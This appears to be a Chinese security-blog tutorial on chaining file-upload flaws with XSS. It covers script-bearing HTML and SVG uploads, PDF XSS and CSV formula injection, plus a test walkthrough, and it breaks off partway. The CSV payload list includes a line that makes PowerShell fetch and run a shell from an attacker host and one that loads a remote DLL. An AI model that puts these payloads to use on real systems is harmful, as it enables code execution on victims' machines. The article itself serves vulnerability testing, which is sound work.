专栏名称: 衡阳信安
船山院士网络安全团队唯一公众号,为国之安全而奋斗,为信息安全而发声!
目录
相关文章推荐
北美留学生观察  ·  日本县城高中,挤满中国中产娃... ·  6 小时前  
北美留学生观察  ·  藤校进入9万美元时代!扩招、涨价、割中产娃韭菜… ·  2 天前  
BioArt  ·  Cell | ... ·  3 天前  
51好读  ›  专栏  ›  衡阳信安

文件上传和XSS漏洞的组合拳

衡阳信安  · 公众号  ·  · 2024-09-13 00:00

正文

0x1 漏洞简介

文件上传原理

这里利用 form表单 标签和类型为file的Input标签来完成上传,要将表单数据编码格式置为 multipart/form-data 类型,这个编码类型会对文件内容在上传时进行处理,以便服务端处理程序解析文件类型与内容,完成上传操作。

<form method="POST" enctype="multipart/form-data">
<input type="file" name="file" value="请选择文件"><br />
<input type="submit">
form>

0x2 上传XSS的各种类型姿势

允许上传HTML或SVG

允许上传 html或者svg 都可以能导致xss,也能导致任意 URL跳转 ,甚至还能导致 SSRF (很难利用),因为核心还是js代码可控;其中URL重定向漏洞可以参考之前我在先知写的文章: https://xz.aliyun.com/t/15069

html造成XSS就不多说了,懂得都懂;
主要说说svg文件如何造成xss。

检查思路:

1、创建一个恶意的svg文件,输入如下内容:



alert('XSS Attack!');

2、上传到文件中,并访问
可以看到已经成功弹窗出来了XSS漏洞

拓展:如果目标存在导出功能,如给svg导出为pdf这种功能,那么可能存在SSRF
可尝试使用其他协议更直观的查看,如 file://

允许上传PDF文件

可能存在PDF XSS和任意URL跳转,但是由于属于浏览器层面的漏洞,所以厂商大概率不认可。

可以直接使用工具生成: https://www.xunjiepdf.com/editor

也可以按照网上的操作,用迅捷PDF编辑器去操作,效果都一样

因为pdf一般是后端的组件,有的开发可能配置成
wkhtmltopdf /tmp/html123.htm /uploads/pdf.pdf ,那就可直接利用file协议进行利用

如果网站本身存在预览JS的地方,可以试试通过 CVE-2024-4367 来实现PDF XSS 获取Cookie、账户接管等。

允许上传CSV文件

如果允许 上传CSV文件 ,且上传的CSV文件的内容未经过处理过滤直接保存,那么可以尝试上传具有恶意命令执行payload的CSV文件,当其他用户下载该CSV文件时,可能会导致命令执行。

CSV 文件的 Payload 如下:

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

检查思路:

  1. 上传恶意的CSV文件

  2. 下载恶意的CSV文件

  3. 观察下载后的CSV文件是否对 等号= 等特殊符号做了处理,payloads会否会成功执行,如果能则说明存在问题

0x3 组合拳实战测试

html、svg文件上传打XSS漏洞

师傅们可以看到找到下面的这个站点的这个功能存在文件上传,我先尝试一手html文件,html文件上传相对来讲常见点,并且一般要是能够上传html文件成功,基本上都可以打一个存储型XSS漏洞了


html恶意弹窗代码如下:

span style="color: rgb(215, 58, 73);">html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Documenttitle>
<script>alert('618')script>
head>
<body>

body>
html>

上传成功,可以看到我这里上传的html文件的url路径,下面尝试访问下这个路径,看看里面的html恶意弹窗代码会不会执行

可以看到我这里换个浏览器访问,也是成功执行XSS弹窗了的

上传svg恶意文件也是一样的

svg恶意弹窗代码如下:


span style="color: rgb(215, 58, 73);">svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900"
stroke="#004400"/>
<script type="text/javascript">
alert(618);
script>
svg>

也是一样换个浏览器访问,照样是可以成功执行弹窗的

制作pdf弹窗木马

pdf编辑器下载地址如下:

https://www.xunjiepdf.com/







请到「今天看啥」查看全文